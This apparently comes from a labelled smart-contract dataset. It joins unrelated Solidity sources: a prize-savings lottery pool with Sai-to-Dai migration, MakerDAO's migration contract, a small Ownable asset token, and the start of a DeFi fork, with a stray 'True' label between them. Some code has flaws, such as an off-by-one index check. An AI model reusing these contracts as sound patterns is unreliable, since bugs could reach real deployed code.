* @dev This function will be removed once the entropy is decentralized.
*/
function rollover() public onlyAdmin requireCommittedNoReward {
uint256 drawId = currentCommittedDrawId();
Draw storage draw = draws[drawId];
draw.entropy = ROLLED_OVER_ENTROPY_MAGIC_NUMBER;
emit RolledOver(
drawId
);
emit Rewarded(
drawId,
address(0),
ROLLED_OVER_ENTROPY_MAGIC_NUMBER,
0,
0
);
}
/**
* @notice Ensures that the winnings don't overflow. Note that we can make this integer max, because the fee
* is always less than zero (meaning the FixidityLib.multiply will always make the number smaller)
*/
function capWinnings(uint256 _grossWinnings) internal pure returns (uint256) {
uint256 max = uint256(FixidityLib.maxNewFixed());
if (_grossWinnings > max) {
return max;
}
return _grossWinnings;
}
/**
* @notice Calculate the beneficiary fee using the passed fee fraction and gross winnings.
* @param _feeFraction The fee fraction, between 0 and 1, represented as a 18 point fixed number.
* @param _grossWinnings The gross winnings to take a fraction of.
*/
function calculateFee(uint256 _feeFraction, uint256 _grossWinnings) internal pure returns (uint256) {
int256 grossWinningsFixed = FixidityLib.newFixed(int256(_grossWinnings));
// _feeFraction *must* be less than 1 ether, so it will never overflow
int256 feeFixed = FixidityLib.multiply(grossWinningsFixed, FixidityLib.newFixed(int256(_feeFraction), uint8(18)));
return uint256(FixidityLib.fromFixed(feeFixed));
}
/**
* @notice Allows a user to deposit a sponsorship amount. The deposit is transferred into the cToken.
* Sponsorships allow a user to contribute to the pool without becoming eligible to win. They can withdraw their sponsorship at any time.
* The deposit will immediately be added to Compound and the interest will contribute to the next draw.
* @param _amount The amount of the token underlying the cToken to deposit.
*/
function depositSponsorship(uint256 _amount) public unlessDepositsPaused nonReentrant {
// Transfer the tokens into this contract
require(token().transferFrom(msg.sender, address(this), _amount), "Pool/t-fail");
// Deposit the sponsorship amount
_depositSponsorshipFrom(msg.sender, _amount);
}
/**
* @notice Deposits the token balance for this contract as a sponsorship.
* If people erroneously transfer tokens to this contract, this function will allow us to recoup those tokens as sponsorship.
*/
function transferBalanceToSponsorship() public unlessDepositsPaused {
// Deposit the sponsorship amount
_depositSponsorshipFrom(address(this), token().balanceOf(address(this)));
}
/**
* @notice Deposits into the pool under the current open Draw. The deposit is transferred into the cToken.
* Once the open draw is committed, the deposit will be added to the user's total committed balance and increase their chances of winning
* proportional to the total committed balance of all users.
* @param _amount The amount of the token underlying the cToken to deposit.
*/
function depositPool(uint256 _amount) public requireOpenDraw unlessDepositsPaused nonReentrant notLocked {
// Transfer the tokens into this contract
require(token().transferFrom(msg.sender, address(this), _amount), "Pool/t-fail");
// Deposit the funds
_depositPoolFrom(msg.sender, _amount);
}
/**
* @notice Deposits sponsorship for a user
* @param _spender The user who is sponsoring
* @param _amount The amount they are sponsoring
*/
function _depositSponsorshipFrom(address _spender, uint256 _amount) internal {
// Deposit the funds
_depositFrom(_spender, _amount);
emit SponsorshipDeposited(_spender, _amount);
}
/**
* @notice Deposits into the pool for a user. The deposit will be open until the next draw is committed.
* @param _spender The user who is depositing
* @param _amount The amount the user is depositing
*/
function _depositPoolFrom(address _spender, uint256 _amount) internal {
// Update the user's eligibility
drawState.deposit(_spender, _amount);
_depositFrom(_spender, _amount);
emit Deposited(_spender, _amount);
}
/**
* @notice Deposits into the pool for a user. The deposit is made part of the currently committed draw
* @param _spender The user who is depositing
* @param _amount The amount to deposit
*/
function _depositPoolFromCommitted(address _spender, uint256 _amount) internal notLocked {
// Update the user's eligibility
drawState.depositCommitted(_spender, _amount);
_depositFrom(_spender, _amount);
emit DepositedAndCommitted(_spender, _amount);
}
/**
* @notice Deposits into the pool for a user. Updates their balance and transfers their tokens into this contract.
* @param _spender The user who is depositing
* @param _amount The amount they are depositing
*/
function _depositFrom(address _spender, uint256 _amount) internal {
// Update the user's balance
balances[_spender] = balances[_spender].add(_amount);
// Update the total of this contract
accountedBalance = accountedBalance.add(_amount);
// Deposit into Compound
require(token().approve(address(cToken), _amount), "Pool/approve");
require(cToken.mint(_amount) == 0, "Pool/supply");
}
/**
* Withdraws the given amount from the user's deposits. It first withdraws from their sponsorship,
* then their open deposits, then their committed deposits.
*
* @param amount The amount to withdraw.
*/
function withdraw(uint256 amount) public nonReentrant notLocked {
uint256 remainingAmount = amount;
// first sponsorship
uint256 sponsorshipAndFeesBalance = sponsorshipAndFeeBalanceOf(msg.sender);
if (sponsorshipAndFeesBalance < remainingAmount) {
withdrawSponsorshipAndFee(sponsorshipAndFeesBalance);
remainingAmount = remainingAmount.sub(sponsorshipAndFeesBalance);
} else {
withdrawSponsorshipAndFee(remainingAmount);
return;
}
// now pending
uint256 pendingBalance = drawState.openBalanceOf(msg.sender);
if (pendingBalance < remainingAmount) {
_withdrawOpenDeposit(msg.sender, pendingBalance);
remainingAmount = remainingAmount.sub(pendingBalance);
} else {
_withdrawOpenDeposit(msg.sender, remainingAmount);
return;
}
// now committed. remainingAmount should not be greater than committed balance.
_withdrawCommittedDeposit(msg.sender, remainingAmount);
}
/**
* @notice Withdraw the sender's entire balance back to them.
*/
function withdraw() public nonReentrant notLocked {
uint256 committedBalance = drawState.committedBalanceOf(msg.sender);
uint256 balance = balances[msg.sender];
// Update their chances of winning
drawState.withdraw(msg.sender);
_withdraw(msg.sender, balance);
if (address(poolToken) != address(0)) {
poolToken.poolRedeem(msg.sender, committedBalance);
}
emit Withdrawn(msg.sender, balance);
}
/**
* Withdraws only from the sender's sponsorship and fee balances
* @param _amount The amount to withdraw
*/
function withdrawSponsorshipAndFee(uint256 _amount) public {
uint256 sponsorshipAndFees = sponsorshipAndFeeBalanceOf(msg.sender);
require(_amount <= sponsorshipAndFees, "Pool/exceeds-sfee");
_withdraw(msg.sender, _amount);
emit SponsorshipAndFeesWithdrawn(msg.sender, _amount);
}
/**
* Returns the total balance of the user's sponsorship and fees
* @param _sender The user whose balance should be returned
*/
function sponsorshipAndFeeBalanceOf(address _sender) public view returns (uint256) {
return balances[_sender].sub(drawState.balanceOf(_sender));
}
/**
* Withdraws from the user's open deposits
* @param _amount The amount to withdraw
*/
function withdrawOpenDeposit(uint256 _amount) public nonReentrant notLocked {
_withdrawOpenDeposit(msg.sender, _amount);
}
function _withdrawOpenDeposit(address sender, uint256 _amount) internal {
drawState.withdrawOpen(sender, _amount);
_withdraw(sender, _amount);
emit OpenDepositWithdrawn(sender, _amount);
}
/**
* Withdraws from the user's committed deposits
* @param _amount The amount to withdraw
*/
function withdrawCommittedDeposit(uint256 _amount) public nonReentrant notLocked returns (bool) {
_withdrawCommittedDeposit(msg.sender, _amount);
return true;
}
function _withdrawCommittedDeposit(address sender, uint256 _amount) internal {
_withdrawCommittedDepositAndEmit(sender, _amount);
if (address(poolToken) != address(0)) {
poolToken.poolRedeem(sender, _amount);
}
}
/**
* Allows the associated PoolToken to withdraw for a user; useful when redeeming through the token.
* @param _from The user to withdraw from
* @param _amount The amount to withdraw
*/
function withdrawCommittedDepositFrom(
address _from,
uint256 _amount
) external onlyToken notLocked returns (bool) {
return _withdrawCommittedDepositAndEmit(_from, _amount);
}
/**
* A function that withdraws committed deposits for a user and emits the corresponding events.
* @param _from User to withdraw for
* @param _amount The amount to withdraw
*/
function _withdrawCommittedDepositAndEmit(address _from, uint256 _amount) internal returns (bool) {
drawState.withdrawCommitted(_from, _amount);
_withdraw(_from, _amount);
emit CommittedDepositWithdrawn(_from, _amount);
return true;
}
/**
* @notice Allows the associated PoolToken to move committed tokens from one user to another.
* @param _from The account to move tokens from
* @param _to The account that is receiving the tokens
* @param _amount The amount of tokens to transfer
*/
function moveCommitted(
address _from,
address _to,
uint256 _amount
) external onlyToken onlyCommittedBalanceGteq(_from, _amount) notLocked returns (bool) {
balances[_from] = balances[_from].sub(_amount, "move could not sub amount");
balances[_to] = balances[_to].add(_amount);
drawState.withdrawCommitted(_from, _amount);
drawState.depositCommitted(_to, _amount);
return true;
}
/**
* @notice Transfers tokens from the cToken contract to the sender. Updates the accounted balance.
*/
function _withdraw(address _sender, uint256 _amount) internal {
uint256 balance = balances[_sender];
require(_amount <= balance, "Pool/no-funds");
// Update the user's balance
balances[_sender] = balance.sub(_amount);
// Update the total of this contract
accountedBalance = accountedBalance.sub(_amount);
// Withdraw from Compound and transfer
require(cToken.redeemUnderlying(_amount) == 0, "Pool/redeem");
require(token().transfer(_sender, _amount), "Pool/transfer");
}
/**
* @notice Returns the id of the current open Draw.
* @return The current open Draw id
*/
function currentOpenDrawId() public view returns (uint256) {
return drawState.openDrawIndex;
}
/**
* @notice Returns the id of the current committed Draw.
* @return The current committed Draw id
*/
function currentCommittedDrawId() public view returns (uint256) {
if (drawState.openDrawIndex > 1) {
return drawState.openDrawIndex - 1;
} else {
return 0;
}
}
/**
* @notice Returns whether the current committed draw has been rewarded
* @return True if the current committed draw has been rewarded, false otherwise
*/
function currentCommittedDrawHasBeenRewarded() internal view returns (bool) {
Draw storage draw = draws[currentCommittedDrawId()];
return draw.entropy != bytes32(0);
}
/**
* @notice Gets information for a given draw.
* @param _drawId The id of the Draw to retrieve info for.
* @return Fields including:
* feeFraction: the fee fraction
* feeBeneficiary: the beneficiary of the fee
* openedBlock: The block at which the draw was opened
* secretHash: The hash of the secret committed to this draw.
* entropy: the entropy used to select the winner
* winner: the address of the winner
* netWinnings: the total winnings less the fee
* fee: the fee taken by the beneficiary
*/
function getDraw(uint256 _drawId) public view returns (
uint256 feeFraction,
address feeBeneficiary,
uint256 openedBlock,
bytes32 secretHash,
bytes32 entropy,
address winner,
uint256 netWinnings,
uint256 fee
) {
Draw storage draw = draws[_drawId];
feeFraction = draw.feeFraction;
feeBeneficiary = draw.feeBeneficiary;
openedBlock = draw.openedBlock;
secretHash = draw.secretHash;
entropy = draw.entropy;
winner = draw.winner;
netWinnings = draw.netWinnings;
fee = draw.fee;
}
/**
* @notice Returns the total of the address's balance in committed Draws. That is, the total that contributes to their chances of winning.
* @param _addr The address of the user
* @return The total committed balance for the user
*/
function committedBalanceOf(address _addr) external view returns (uint256) {
return drawState.committedBalanceOf(_addr);
}
/**
* @notice Returns the total of the address's balance in the open Draw. That is, the total that will *eventually* contribute to their chances of winning.
* @param _addr The address of the user
* @return The total open balance for the user
*/
function openBalanceOf(address _addr) external view returns (uint256) {
return drawState.openBalanceOf(_addr);
}
/**
* @notice Returns a user's total balance. This includes their sponsorships, fees, open deposits, and committed deposits.
* @param _addr The address of the user to check.
* @return The user's current balance.
*/
function totalBalanceOf(address _addr) external view returns (uint256) {
return balances[_addr];
}
/**
* @notice Returns a user's committed balance. This is the balance of their Pool tokens.
* @param _addr The address of the user to check.
* @return The user's current balance.
*/
function balanceOf(address _addr) external view returns (uint256) {
return drawState.committedBalanceOf(_addr);
}
/**
* @notice Calculates a winner using the passed entropy for the current committed balances.
* @param _entropy The entropy to use to select the winner
* @return The winning address
*/
function calculateWinner(bytes32 _entropy) public view returns (address) {
return drawState.drawWithEntropy(_entropy);
}
/**
* @notice Returns the total committed balance. Used to compute an address's chances of winning.
* @return The total committed balance.
*/
function committedSupply() public view returns (uint256) {
return drawState.committedSupply();
}
/**
* @notice Returns the total open balance. This balance is the number of tickets purchased for the open draw.
* @return The total open balance
*/
function openSupply() public view returns (uint256) {
return drawState.openSupply();
}
/**
* @notice Calculates the total estimated interest earned for the given number of blocks
* @param _blocks The number of block that interest accrued for
* @return The total estimated interest as a 18 point fixed decimal.
*/
function estimatedInterestRate(uint256 _blocks) public view returns (uint256) {
return supplyRatePerBlock().mul(_blocks);
}
/**
* @notice Convenience function to return the supplyRatePerBlock value from the money market contract.
* @return The cToken supply rate per block
*/
function supplyRatePerBlock() public view returns (uint256) {
return cToken.supplyRatePerBlock();
}
/**
* @notice Sets the beneficiary fee fraction for subsequent Draws.
* Fires the NextFeeFractionChanged event.
* Can only be called by an admin.
* @param _feeFraction The fee fraction to use.
* Must be between 0 and 1 and formatted as a fixed point number with 18 decimals (as in Ether).
*/
function setNextFeeFraction(uint256 _feeFraction) public onlyAdmin {
_setNextFeeFraction(_feeFraction);
}
function _setNextFeeFraction(uint256 _feeFraction) internal {
require(_feeFraction <= 1 ether, "Pool/less-1");
nextFeeFraction = _feeFraction;
emit NextFeeFractionChanged(_feeFraction);
}
/**
* @notice Sets the fee beneficiary for subsequent Draws.
* Can only be called by admins.
* @param _feeBeneficiary The beneficiary for the fee fraction. Cannot be the 0 address.
*/
function setNextFeeBeneficiary(address _feeBeneficiary) public onlyAdmin {
_setNextFeeBeneficiary(_feeBeneficiary);
}
/**
* @notice Sets the fee beneficiary for subsequent Draws.
* @param _feeBeneficiary The beneficiary for the fee fraction. Cannot be the 0 address.
*/
function _setNextFeeBeneficiary(address _feeBeneficiary) internal {
require(_feeBeneficiary != address(0), "Pool/not-zero");
nextFeeBeneficiary = _feeBeneficiary;
emit NextFeeBeneficiaryChanged(_feeBeneficiary);
}
/**
* @notice Adds an administrator.
* Can only be called by administrators.
* Fires the AdminAdded event.
* @param _admin The address of the admin to add
*/
function addAdmin(address _admin) public onlyAdmin {
_addAdmin(_admin);
}
/**
* @notice Checks whether a given address is an administrator.
* @param _admin The address to check
* @return True if the address is an admin, false otherwise.
*/
function isAdmin(address _admin) public view returns (bool) {
return admins.has(_admin);
}
/**
* @notice Checks whether a given address is an administrator.
* @param _admin The address to check
* @return True if the address is an admin, false otherwise.
*/
function _addAdmin(address _admin) internal {
admins.add(_admin);
emit AdminAdded(_admin);
}
/**
* @notice Removes an administrator
* Can only be called by an admin.
* Admins cannot remove themselves. This ensures there is always one admin.
* @param _admin The address of the admin to remove
*/
function removeAdmin(address _admin) public onlyAdmin {
require(admins.has(_admin), "Pool/no-admin");
require(_admin != msg.sender, "Pool/remove-self");
admins.remove(_admin);
emit AdminRemoved(_admin);
}
/**
* Requires that there is a committed draw that has not been rewarded.
*/
modifier requireCommittedNoReward() {
require(currentCommittedDrawId() > 0, "Pool/committed");
require(!currentCommittedDrawHasBeenRewarded(), "Pool/already");
_;
}
/**
* @notice Returns the token underlying the cToken.
* @return An ERC20 token address
*/
function token() public view returns (IERC20) {
return IERC20(cToken.underlying());
}
/**
* @notice Returns the underlying balance of this contract in the cToken.
* @return The cToken underlying balance for this contract.
*/
function balance() public returns (uint256) {
return cToken.balanceOfUnderlying(address(this));
}
/**
* @notice Locks the movement of tokens (essentially the committed deposits and winnings)
* @dev The lock only lasts for a duration of blocks. The lock cannot be relocked until the cooldown duration completes.
*/
function lockTokens() public onlyAdmin {
blocklock.lock(block.number);
}
/**
* @notice Unlocks the movement of tokens (essentially the committed deposits)
*/
function unlockTokens() public onlyAdmin {
blocklock.unlock(block.number);
}
/**
* Pauses all deposits into the contract. This was added so that we can slowly deprecate Pools. Users can continue
* to collect rewards and withdraw, but eventually the Pool will grow smaller.
*
* emits DepositsPaused
*/
function pauseDeposits() public unlessDepositsPaused onlyAdmin {
paused = true;
emit DepositsPaused(msg.sender);
}
/**
* @notice Unpauses all deposits into the contract
*
* emits DepositsUnpaused
*/
function unpauseDeposits() public whenDepositsPaused onlyAdmin {
paused = false;
emit DepositsUnpaused(msg.sender);
}
/**
* @notice Check if the contract is locked.
* @return True if the contract is locked, false otherwise
*/
function isLocked() public view returns (bool) {
return blocklock.isLocked(block.number);
}
/**
* @notice Returns the block number at which the lock expires
* @return The block number at which the lock expires
*/
function lockEndAt() public view returns (uint256) {
return blocklock.lockEndAt();
}
/**
* @notice Check cooldown end block
* @return The block number at which the cooldown ends and the contract can be re-locked
*/
function cooldownEndAt() public view returns (uint256) {
return blocklock.cooldownEndAt();
}
/**
* @notice Returns whether the contract can be locked
* @return True if the contract can be locked, false otherwise
*/
function canLock() public view returns (bool) {
return blocklock.canLock(block.number);
}
/**
* @notice Duration of the lock
* @return Returns the duration of the lock in blocks.
*/
function lockDuration() public view returns (uint256) {
return blocklock.lockDuration;
}
/**
* @notice Returns the cooldown duration. The cooldown period starts after the Pool has been unlocked.
* The Pool cannot be locked during the cooldown period.
* @return The cooldown duration in blocks
*/
function cooldownDuration() public view returns (uint256) {
return blocklock.cooldownDuration;
}
/**
* @notice requires the pool not to be locked
*/
modifier notLocked() {
require(!blocklock.isLocked(block.number), "Pool/locked");
_;
}
/**
* @notice requires the pool to be locked
*/
modifier onlyLocked() {
require(blocklock.isLocked(block.number), "Pool/unlocked");
_;
}
/**
* @notice requires the caller to be an admin
*/
modifier onlyAdmin() {
require(admins.has(msg.sender), "Pool/admin");
_;
}
/**
* @notice Requires an open draw to exist
*/
modifier requireOpenDraw() {
require(currentOpenDrawId() != 0, "Pool/no-open");
_;
}
/**
* @notice Requires deposits to be paused
*/
modifier whenDepositsPaused() {
require(paused, "Pool/d-not-paused");
_;
}
/**
* @notice Requires deposits not to be paused
*/
modifier unlessDepositsPaused() {
require(!paused, "Pool/d-paused");
_;
}
/**
* @notice Requires the caller to be the pool token
*/
modifier onlyToken() {
require(msg.sender == address(poolToken), "Pool/only-token");
_;
}
/**
* @notice requires the passed user's committed balance to be greater than or equal to the passed amount
* @param _from The user whose committed balance should be checked
* @param _amount The minimum amount they must have
*/
modifier onlyCommittedBalanceGteq(address _from, uint256 _amount) {
uint256 committedBalance = drawState.committedBalanceOf(_from);
require(_amount <= committedBalance, "not enough funds");
_;
}
}
contract ScdMcdMigration {
SaiTubLike public tub;
VatLike public vat;
ManagerLike public cdpManager;
JoinLike public saiJoin;
JoinLike public wethJoin;
JoinLike public daiJoin;
constructor(
address tub_, // SCD tub contract address
address cdpManager_, // MCD manager contract address
address saiJoin_, // MCD SAI collateral adapter contract address
address wethJoin_, // MCD ETH collateral adapter contract address
address daiJoin_ // MCD DAI adapter contract address
) public {
tub = SaiTubLike(tub_);
cdpManager = ManagerLike(cdpManager_);
vat = VatLike(cdpManager.vat());
saiJoin = JoinLike(saiJoin_);
wethJoin = JoinLike(wethJoin_);
daiJoin = JoinLike(daiJoin_);
require(wethJoin.gem() == tub.gem(), "non-matching-weth");
require(saiJoin.gem() == tub.sai(), "non-matching-sai");
tub.gov().approve(address(tub), uint(-1));
tub.skr().approve(address(tub), uint(-1));
tub.sai().approve(address(tub), uint(-1));
tub.sai().approve(address(saiJoin), uint(-1));
wethJoin.gem().approve(address(wethJoin), uint(-1));
daiJoin.dai().approve(address(daiJoin), uint(-1));
vat.hope(address(daiJoin));
}
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, "add-overflow");
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, "sub-underflow");
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, "mul-overflow");
}
function toInt(uint x) internal pure returns (int y) {
y = int(x);
require(y >= 0, "int-overflow");
}
// Function to swap SAI to DAI
// This function is to be used by users that want to get new DAI in exchange of old one (aka SAI)
// wad amount has to be <= the value pending to reach the debt ceiling (the minimum between general and ilk one)
function swapSaiToDai(
uint wad
) external {
// Get wad amount of SAI from user's wallet:
saiJoin.gem().transferFrom(msg.sender, address(this), wad);
// Join the SAI wad amount to the `vat`:
saiJoin.join(address(this), wad);
// Lock the SAI wad amount to the CDP and generate the same wad amount of DAI
vat.frob(saiJoin.ilk(), address(this), address(this), address(this), toInt(wad), toInt(wad));
// Send DAI wad amount as a ERC20 token to the user's wallet
daiJoin.exit(msg.sender, wad);
}
// Function to swap DAI to SAI
// This function is to be used by users that want to get SAI in exchange of DAI
// wad amount has to be <= the amount of SAI locked (and DAI generated) in the migration contract SAI CDP
function swapDaiToSai(
uint wad
) external {
// Get wad amount of DAI from user's wallet:
daiJoin.dai().transferFrom(msg.sender, address(this), wad);
// Join the DAI wad amount to the vat:
daiJoin.join(address(this), wad);
// Payback the DAI wad amount and unlocks the same value of SAI collateral
vat.frob(saiJoin.ilk(), address(this), address(this), address(this), -toInt(wad), -toInt(wad));
// Send SAI wad amount as a ERC20 token to the user's wallet
saiJoin.exit(msg.sender, wad);
}
// Function to migrate a SCD CDP to MCD one (needs to be used via a proxy so the code can be kept simpler). Check MigrationProxyActions.sol code for usage.
// In order to use migrate function, SCD CDP debtAmt needs to be <= SAI previously deposited in the SAI CDP * (100% - Collateralization Ratio)
function migrate(
bytes32 cup
) external returns (uint cdp) {
// Get values
uint debtAmt = tub.tab(cup); // CDP SAI debt
uint pethAmt = tub.ink(cup); // CDP locked collateral
uint ethAmt = tub.bid(pethAmt); // CDP locked collateral equiv in ETH
// Take SAI out from MCD SAI CDP. For this operation is necessary to have a very low collateralization ratio
// This is not actually a problem as this ilk will only be accessed by this migration contract,
// which will make sure to have the amounts balanced out at the end of the execution.
vat.frob(
bytes32(saiJoin.ilk()),
address(this),
address(this),
address(this),
-toInt(debtAmt),
0
);
saiJoin.exit(address(this), debtAmt); // SAI is exited as a token
// Shut SAI CDP and gets WETH back
tub.shut(cup); // CDP is closed using the SAI just exited and the MKR previously sent by the user (via the proxy call)
tub.exit(pethAmt); // Converts PETH to WETH
// Open future user's CDP in MCD
cdp = cdpManager.open(wethJoin.ilk(), address(this));
// Join WETH to Adapter
wethJoin.join(cdpManager.urns(cdp), ethAmt);
// Lock WETH in future user's CDP and generate debt to compensate the SAI used to paid the SCD CDP
(, uint rate,,,) = vat.ilks(wethJoin.ilk());
cdpManager.frob(
cdp,
toInt(ethAmt),
toInt(mul(debtAmt, 10 ** 27) / rate + 1) // To avoid rounding issues we add an extra wei of debt
);
// Move DAI generated to migration contract (to recover the used funds)
cdpManager.move(cdp, address(this), mul(debtAmt, 10 ** 27));
// Re-balance MCD SAI migration contract's CDP
vat.frob(
bytes32(saiJoin.ilk()),
address(this),
address(this),
address(this),
0,
-toInt(debtAmt)
);
// Set ownership of CDP to the user
cdpManager.give(cdp, msg.sender);
}
}
/**
* @dev Interface of the ERC777TokensRecipient standard as defined in the EIP.
*
* Accounts can be notified of {IERC777} tokens being sent to them by having a
* contract implement this interface (contract holders can be their own
* implementer) and registering it on the
* https://eips.ethereum.org/EIPS/eip-1820[ERC1820 global registry].
*
* See {IERC1820Registry} and {ERC1820Implementer}.
*/
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
/**
* @title MCDAwarePool
* @author Brendan Asselstine [email protected]
* @notice This contract is a Pool that is aware of the new Multi-Collateral Dai. It uses the ERC777Recipient interface to
* detect if it's being transferred tickets from the old single collateral Dai (Sai) Pool. If it is, it migrates the Sai to Dai
* and immediately deposits the new Dai as committed tickets for that user. We are knowingly bypassing the committed period for
* users to encourage them to migrate to the MCD Pool.
*/
contract MCDAwarePool is BasePool, IERC777Recipient {
IERC1820Registry constant internal ERC1820_REGISTRY = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
// keccak256("ERC777TokensRecipient")
bytes32 constant internal TOKENS_RECIPIENT_INTERFACE_HASH =
0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b;
uint256 internal constant DEFAULT_LOCK_DURATION = 40;
uint256 internal constant DEFAULT_COOLDOWN_DURATION = 80;
/**
* @notice The address of the ScdMcdMigration contract (see https://github.com/makerdao/developerguides/blob/master/mcd/upgrading-to-multi-collateral-dai/upgrading-to-multi-collateral-dai.md#direct-integration-with-smart-contracts)
*/
ScdMcdMigration public scdMcdMigration;
/**
* @notice The address of the Sai Pool contract
*/
MCDAwarePool public saiPool;
/**
* @notice Initializes the contract.
* @param _owner The initial administrator of the contract
* @param _cToken The Compound cToken to bind this Pool to
* @param _feeFraction The fraction of the winnings to give to the beneficiary
* @param _feeBeneficiary The beneficiary who receives the fee
*/
function init (
address _owner,
address _cToken,
uint256 _feeFraction,
address _feeBeneficiary,
uint256 lockDuration,
uint256 cooldownDuration
) public initializer {
super.init(
_owner,
_cToken,
_feeFraction,
_feeBeneficiary,
lockDuration,
cooldownDuration
);
initRegistry();
initBlocklock(lockDuration, cooldownDuration);
}
/**
* @notice Used to initialize the BasePool contract after an upgrade. Registers the MCDAwarePool with the ERC1820 registry so that it can receive tokens, and inits the block lock.
*/
function initMCDAwarePool(uint256 lockDuration, uint256 cooldownDuration) public {
initRegistry();
if (blocklock.lockDuration == 0) {
initBlocklock(lockDuration, cooldownDuration);
}
}
function initRegistry() internal {
ERC1820_REGISTRY.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
}
function initMigration(ScdMcdMigration _scdMcdMigration, MCDAwarePool _saiPool) public onlyAdmin {
_initMigration(_scdMcdMigration, _saiPool);
}
function _initMigration(ScdMcdMigration _scdMcdMigration, MCDAwarePool _saiPool) internal {
require(address(scdMcdMigration) == address(0), "Pool/init");
require(address(_scdMcdMigration) != address(0), "Pool/mig-def");
scdMcdMigration = _scdMcdMigration;
saiPool = _saiPool; // may be null
}
/**
* @notice Called by an ERC777 token when tokens are sent, transferred, or minted. If the sender is the original Sai Pool
* and this pool is bound to the Dai token then it will accept the transfer, migrate the tokens, and deposit on behalf of
* the sender. It will reject all other tokens.
*
* If there is a committed draw this function will mint the user tickets immediately, otherwise it will place them in the
* open prize. This is to encourage migration.
*
* @param from The sender
* @param amount The amount they are transferring
*/
function tokensReceived(
address, // operator
address from,
address, // to address can't be anything but us because we don't implement ERC1820ImplementerInterface
uint256 amount,
bytes calldata,
bytes calldata
) external unlessDepositsPaused {
require(msg.sender == address(saiPoolToken()), "Pool/sai-only");
require(address(token()) == address(daiToken()), "Pool/not-dai");
// cash out of the Pool. This call transfers sai to this contract
saiPoolToken().redeem(amount, '');
// approve of the transfer to the migration contract
saiToken().approve(address(scdMcdMigration), amount);
// migrate the sai to dai. The contract now has dai
scdMcdMigration.swapSaiToDai(amount);
if (currentCommittedDrawId() > 0) {
// now deposit the dai as tickets
_depositPoolFromCommitted(from, amount);
} else {
_depositPoolFrom(from, amount);
}
}
/**
* @notice Returns the address of the PoolSai pool token contract
* @return The address of the Sai PoolToken contract
*/
function saiPoolToken() internal view returns (PoolToken) {
if (address(saiPool) != address(0)) {
return saiPool.poolToken();
} else {
return PoolToken(0);
}
}
/**
* @notice Returns the address of the Sai token
* @return The address of the sai token
*/
function saiToken() public returns (GemLike) {
return scdMcdMigration.saiJoin().gem();
}
/**
* @notice Returns the address of the Dai token
* @return The address of the Dai token.
*/
function daiToken() public returns (GemLike) {
return scdMcdMigration.daiJoin().dai();
}
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pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
//-------------------------------------------------------------------------------------------------
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
//-------------------------------------------------------------------------------------------------
contract AifiAsset is Ownable {
using SafeMath for uint256;
enum AssetState { Pending, Active, Expired }
string public assetType;
uint256 public totalSupply;
AssetState public state;
constructor() public {
state = AssetState.Pending;
}
function setState(AssetState _state) public onlyOwner {
state = _state;
emit SetStateEvent(_state);
}
event SetStateEvent(AssetState indexed state);
}
//-------------------------------------------------------------------------------------------------
contract InitAifiAsset is AifiAsset {
string public assetType = "DEBT";
uint public initialSupply = 1000 * 10 ** 18;
string[] public subjectMatters;
constructor() public {
totalSupply = initialSupply;
}
function addSubjectMatter(string _subjectMatter) public onlyOwner {
subjectMatters.push(_subjectMatter);
}
function updateSubjectMatter(uint _index, string _subjectMatter) public onlyOwner {
require(_index <= subjectMatters.length);
subjectMatters[_index] = _subjectMatter;
}
function getSubjectMattersSize() public view returns(uint) {
return subjectMatters.length;
}
} | True | [
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/*
website: http://wtron.finance
forked from SUSHI and YUNO
SPDX-License-Identifier: MIT
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
